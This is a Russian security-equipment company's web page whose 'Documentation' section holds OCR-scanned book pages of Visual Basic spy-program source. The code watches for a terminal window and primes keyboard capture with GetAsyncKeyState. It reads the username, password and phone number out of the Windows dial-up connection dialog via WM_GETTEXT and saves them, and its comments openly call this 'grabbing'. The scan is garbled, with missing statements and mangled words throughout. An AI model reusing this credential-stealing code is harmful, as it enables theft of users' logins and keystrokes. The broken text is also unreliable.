8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 34 35 36 37 38 39 40 ... 169

Dim i As Integer Dim j As Integer

LoadWnds / / загружаем список всех окон

If FindWindow(«Терминала (после подключения)») О О Then

// Найдено окно терминальты

If SpyWindow. Timer2. Interval = 0 Then

//если второй таймер был выключен, то чистим буфер клавиатуры и включаем его

For i = 0 То 255: j = GetAsyncKeyState (i) : Next i

SpyWindow. Timer2. Interval 20

End If

Else //Онко терминала не найдено...

SpyWindow.Interval <>0 Then

было ранее, а теперь пропало

TermChar,

TermChar = «»

SpyWindow.Interval = 0таймер 2

End If

End If

// Проверяем попытку установить связь

// Используется тот факт, что, когда появляется окно «Установка связи с», то:

// первый диалог (где юзер набирает пароль) просто прячется, но не

// выгружается. Спасибо Вилли Гейтсу :=)

Ifсвязь с») <> 0 Then

// грузим список дочерних окон этого окна:

LoadChilds

// сбой — дочернее окно почему-то не найдено (???)

Ifпользователя») = 0 Then Exit Sub

// грабим содержимое следующих за именованными дочерних окошек:

=пользовате-

ля»)+1)

newPassWrd = Capture

newDialNum = Capture(FindChild(«Телефон») + 1)

113


// сверяем с ранее сграбленными

If UserName = newUserName And PassWrd = newPassWrd And DialNum = newDialNum Then Exit Sub

// хотя бы одно значение отличается!

UserName = newUserName

PassWrd = newPassWrd DialNum = newDialNum

SaveDialoglnfo (UserName, PassWrd, DialNum) End If

End Sub

Function Capture (childlDX As Integer) As String

/ / аргумент — индекс в массиве загруженных дочерних окон

// посылает окну сообщение WM GETTEXT и получает его содержимое

// возвращает его (в виде строки)

Dim As Integer

Dim wParam As Integer

Dim lParam As String

wParam = 1024 //макс, длина содержимого

IParam =//содержит строку про-

белов длиной 1024 символа

rc = SendMessage(Child(childlDX). hchild, WM GETTEXT,

wParam, IParam)

If <> 0 Then IParam =// обрез-

ка строки по фактической длине

Capture = IParam

End Function

Function FindChild (childName As String) As Integer

// аргумент - строка, содерж. имя дочернего окна

/ / возвращает индекс массива загруженных процедурой

LoadChilds доч. окон Dim i As Integer FindChild = 0

For i 0 To 255

Ifname, childName) <> 0 Then

// встроенная ф-цияищет подстроку в строке

// возвращает позицию вхождения или О

114


FindChild i

Exit For End If Next i

End Function

Function FindNearWindow (WinName As String) As Integer // ищет приблизительно подходящее название окна // возвращает индекс в массиве загруженых окон

Dim i As Integer FindNearWindow 0

For i = 0 To 2 55 If InStr(Wnd(I). name, WinName) <> 0 Then FindNearWindow = Wnd(i). hwnd

Exit For

End If

Next i

End Function

Function FindWindow (WinName As String) As Integer

// CM. FindNearWindow

Dim i As Integer FindWindow = 0

For i 0 To 255 If Wnd(i). name = WinName Then FindWindow = Wnd(i). hwnd

Exit For

End If Next i End Function

Sub(hwnd As Integer)

// загружает в массив Child () список дочерних окошек указанного окна

// аргумент — hWnd, указывающий окно

DimAs Integer

Dim IpszChildName As String

DimAs Integer

Dim As Integer

Dim i As Integer

115



0 ... 34 35 36 37 38 39 40 ... 169